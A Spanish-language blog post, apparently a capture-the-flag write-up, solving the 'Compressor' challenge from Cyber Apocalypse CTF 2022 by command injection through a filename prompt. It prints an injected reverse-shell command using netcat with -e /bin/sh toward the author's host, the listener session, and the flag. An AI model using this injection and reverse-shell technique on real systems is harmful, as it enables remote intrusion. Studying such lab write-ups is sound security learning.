My Profile Photo

[L]ord [R]NA


Father, son and husband, Red Teamer, Developer, Chess Player, Bitter Truths Distiller, Ex [SHNI/H-Sec] Staff Member, Amateur Astronomer, RedTeamRD Staff/Co-Founder


Disclaimer [ES]

Disclaimer [EN]


Compressor (Cyber Apocalypse CTF 2022)

Compressor es el challenge más fácil de todo Cyber Apocalypse CTF 2022. Este inicia con un menú, a través del cual podemos lanzar ciertos comandos ya predeterminados, pero que debido a falta de sanitización, podemos ejecutar código de forma remota desde el proceso.

Solución:

Iniciamos con el ingreso al puerto asignado para explotar el challenge, en el cual nos encontramos un menú de piezas de un robot, en el que podemos seleccionar un componente. En nuestro caso, la opción 1.

$ nc 178.62.119.24 32720

[*] Directory to work in: sWQjVWHPHcRdJIRjVMLprEMdQ0lJlgzu

Component List:

+===============+
|               |
|  1. Head  🤖  |
|  2. Torso 🦴   |
|  3. Hands 💪  |
|  4. Legs  🦵   |
|               |
+===============+
 
[*] Choose component: 1

Ya con el componente seleccionado, podemos elegir la acción a realizar con dicho componente desde el siguiente menú.

Actions:

1. Create artifact
2. List directory    (pwd; ls -la)
3. Read artifact     (cat ./<name>)
4. Compress artifact (zip <name>.zip <name> <options>)
5. Change directory  (cd <dirname>)
6. Clean directory   (rm -rf ./*)
7. Exit
 
[*] Choose action: 3

Al revisar las acciones que podemos realizar, vemos un potencial ataque de inyección de código en la 3ra acción. El cual resulta de forma satisfactoria

Insert name you want to read: testing; nc -h
cat: can't open './testing': No such file or directory
nc: unrecognized option: h
BusyBox v1.34.1 (2021-11-23 00:57:35 UTC) multi-call binary.

Usage: nc [OPTIONS] HOST PORT  - connect
nc [OPTIONS] -l -p PORT [HOST] [PORT]  - listen

    -e PROG    Run PROG after connect (must be last)
    -l    Listen mode, for inbound connects
    -lk    With -e, provides persistent server
    -p PORT    Local port
    -s ADDR    Local address
    -w SEC    Timeout for connects and final net reads
    -i SEC    Delay interval for lines sent
    -n    Don't do DNS resolution
    -u    UDP mode
    -b    Allow broadcasts
    -v    Verbose
    -o FILE    Hex dump traffic
    -z    Zero-I/O mode (scanning)

Al percatarnos de que el contenedor desde el cual estamos explotando el challenge tiene netcat con la opción -e, procedemos a enviarnos una reverse shell

Actions:

1. Create artifact
2. List directory    (pwd; ls -la)
3. Read artifact     (cat ./<name>)
4. Compress artifact (zip <name>.zip <name> <options>)
5. Change directory  (cd <dirname>)
6. Clean directory   (rm -rf ./*)
7. Exit
 
[*] Choose action: 3


Insert name you want to read: testing; nc lordrna.com 4444 -e /bin/sh  
cat: can't open './testing': No such file or directory

Desde dicha reverse shell, procedemos a realizar la búsqueda del archivo flag.txt, para extraer la flag y completar el reto.

lordrna@anotherguypc:~$ rlwrap nc -knlvp 4444
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 178.62.119.24.
Ncat: Connection from 178.62.119.24:41421.
pwd
/home/ctf/sWQjVWHPHcRdJIRjVMLprEMdQ0lJlgzu/Head
cd ..
ls
Hands
Head
Legs
Torso
cd ..
ls
3efQGvtuQDoWnglbR1JCoHfcIbMgPS4e
9oobWRPuNtech4ylr0qq9nNUIbB6WAz5
PaoxpYhrS98rWrmY7uEFAQTiTjXJ1LmN
artifacts.py
clear.py
flag.txt
mz5HYREsDewz1INhdZcU1NEBxzCI0SRq
nnYrRB8cjHWIEhK3M8j194WN3GzVbRUp
sWQjVWHPHcRdJIRjVMLprEMdQ0lJlgzu
ukpBqsbueXkSHBwqyv8MNIuOioZrKF98
wMHZb9QtDG46ftpY9SIOFReDqKIGg6yY
cat flag.txt
HTB{GTFO_4nd_m4k3_th3_b35t_4rt1f4ct5}